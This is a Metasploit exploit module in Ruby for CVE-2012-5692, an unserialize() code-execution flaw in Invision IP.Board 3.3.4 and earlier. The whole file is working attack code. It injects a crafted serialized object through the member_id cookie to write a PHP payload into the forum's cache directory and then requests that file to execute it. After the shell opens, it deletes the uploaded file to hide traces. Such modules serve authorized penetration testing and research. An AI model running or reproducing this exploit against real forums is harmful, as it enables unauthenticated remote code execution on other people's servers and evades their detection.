1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10
  include Msf::Exploit::PhpEXE
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Invision IP.Board unserialize() PHP Code Execution',
17
        'Description' => %q{
18
          This module exploits a php unserialize() vulnerability in Invision IP.Board
19
          <= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary
20
          code under the context of the webserver user.
21

22
          The dangerous unserialize() exists in the '/admin/sources/base/core.php' script,
23
          which is called with user controlled data from the cookie. The exploit abuses the
24
          __destruct() method from the dbMain class to write arbitrary PHP code to a file on
25
          the Invision IP.Board web directory.
26

27
          The exploit has been tested successfully on Invision IP.Board 3.3.4.
28
        },
29
        'Author' => [
30
          'EgiX', # Vulnerability discovery, PoC, work on check() and cookie_prefix() methods
31
          'juan vazquez', # Metasploit module
32
          'sinn3r'        # PhpEXE tekniq & check() method
33
        ],
34
        'License' => MSF_LICENSE,
35
        'References' => [
36
          [ 'CVE', '2012-5692' ],
37
          [ 'OSVDB', '86702' ],
38
          [ 'BID', '56288' ],
39
          [ 'EDB', '22398' ],
40
          [ 'URL', 'http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/' ]
41
        ],
42
        'Privileged' => false,
43
        'Platform' => ['php'],
44
        'Arch' => ARCH_PHP,
45
        'Payload' => {
46
          'Space' => 8000, # Apache's limit for GET
47
          'DisableNops' => true
48
        },
49
        'Targets' => [ ['Invision IP.Board 3.3.4', {}] ],
50
        'DefaultTarget' => 0,
51
        'DisclosureDate' => '2012-10-25',
52
        'Compat' => {
53
          'Meterpreter' => {
54
            'Commands' => %w[
55
              stdapi_fs_delete_file
56
            ]
57
          }
58
        },
59
        'Notes' => {
60
          'Reliability' => UNKNOWN_RELIABILITY,
61
          'Stability' => UNKNOWN_STABILITY,
62
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
63
        }
64
      )
65
    )
66

67
    register_options(
68
      [
69
        OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"])
70
      ]
71
    )
72

73
    self.needs_cleanup = true
74
  end
75

76
  def base
77
    base = target_uri.path
78
    base << '/' if base[-1, 1] != '/'
79
    return base
80
  end
81

82
  def cookie_prefix
83
    print_status("Checking for cookie prefix")
84
    cookie_prefix = ""
85
    res = send_request_cgi(
86
      {
87
        'uri' => "#{base}index.php",
88
        'method' => 'GET'
89
      }
90
    )
91

92
    if res and res.code == 200 and res.get_cookies =~ /(.+)session/
93
      print_status("Cookie prefix #{$1} found")
94
      cookie_prefix = $1
95
    end
96
    return cookie_prefix
97
  end
98

99
  def check
100
    check_str = Rex::Text.uri_encode('a:1:{i:0;O:1:"x":0:{}}')
101
    res = send_request_cgi(
102
      {
103
        'uri' => "#{base}index.php",
104
        'method' => 'GET',
105
        'cookie' => "#{cookie_prefix}session_id=#{check_str}"
106
      }
107
    )
108

109
    if res and res.code == 500 or res.body =~ /PHP_Incomplete_Class/
110
      return Exploit::CheckCode::Vulnerable
111
    elsif res and res.code == 200
112
      return Exploit::CheckCode::Safe
113
    else
114
      return Exploit::CheckCode::Unknown
115
    end
116
  end
117

118
  def on_new_session(client)
119
    if client.type == "meterpreter"
120
      client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
121
      begin
122
        print_warning("Deleting #{@upload_php}")
123
        client.fs.file.rm(@upload_php)
124
        print_good("#{@upload_php} removed to stay ninja")
125
      rescue
126
        print_error("Unable to remove #{f}")
127
      end
128
    end
129
  end
130

131
  def exploit
132
    @upload_php = rand_text_alpha(rand(4) + 4) + ".php"
133

134
    # get_write_exec_payload uses a function, which limits our ability to support
135
    # Linux payloads, because that requires a space:
136
    #   function my_cmd
137
    # becomes:
138
    #   functionmy_cmd #Causes parsing error
139
    # We'll have to address that in the mixin, and then come back to this module
140
    # again later.
141
    php_payload = get_write_exec_payload(:unlink_self => true)
142
    php_payload = php_payload.gsub(/^\<\?php/, '<?')
143
    php_payload = php_payload.gsub(/ /, '')
144

145
    db_driver_mysql = "a:1:{i:0;O:15:\"db_driver_mysql\":1:{s:3:\"obj\";a:2:{s:13:\"use_debug_log\";i:1;s:9:\"debug_log\";s:#{"cache/#{@upload_php}".length}:\"cache/#{@upload_php}\";}}}"
146

147
    print_status("Exploiting the unserialize() to upload PHP code")
148

149
    res = send_request_cgi(
150
      {
151
        'uri' => "#{base}index.php?#{php_payload}",
152
        'method' => 'GET',
153
        'cookie' => "#{cookie_prefix}member_id=#{Rex::Text.uri_encode(db_driver_mysql)}"
154
      }
155
    )
156

157
    if not res or res.code != 200
158
      print_error("Exploit failed: #{res.code}")
159
      return
160
    end
161

162
    print_status("Executing the payload #{@upload_php}")
163

164
    res = send_request_raw({ 'uri' => "#{base}cache/#{@upload_php}" })
165

166
    if res
167
      print_error("Payload execution failed: #{res.code}")
168
      return
169
    end
170
  end
171
end
172

173